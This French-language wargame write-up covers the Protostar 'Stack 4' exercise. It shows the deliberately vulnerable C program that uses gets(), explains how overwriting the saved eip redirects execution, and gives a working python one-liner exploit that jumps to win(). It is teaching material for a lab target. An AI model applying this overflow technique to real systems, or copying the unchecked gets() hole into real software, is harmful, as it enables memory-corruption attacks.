====== Stack 4 ======
#include
#include
#include
#include
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
Si vous n'avez aucune base en buffer overflow classique, je vous conseil de lire cet article : [[http://www.ghostsinthestack.org/article-13-les-buffers-overflows.html]]
Ici, fini le pointeur sur la fonction, nous devons écrire sur l'''eip'' sauvée sur la stack! Lorsque qu'une fonction est appelée, ''main'' par exemple, le programme doit sauvegarder l'endroit où il se trouve avant de sauter sur le code de la fonction. Pour cela, il sauvegarde l'état du registre ''eip'' (qui n'est rien d'autre que le registre pointant sur l'instruction en cours) sur la stack. Une fois l'exécution de la fonction terminée, le programme récupère l'état d'''eip'' sauvegardé et retourne là où il se trouvait. Notre but va être d'écrire sur cet ''eip'' sauvegardé l'adresse de la fonction ''win''.
user@protostar:/opt/protostar/bin$ nm ./stack4
08049518 d _DYNAMIC
080495ec d _GLOBAL_OFFSET_TABLE_
...
08048408 T main
U puts@@GLIBC_2.0
080483f4 T win
user@protostar:/opt/protostar/bin$ python -c 'print "A"*76+"\xf4\x83\x04\x08"' | ./stack4
code flow successfully changed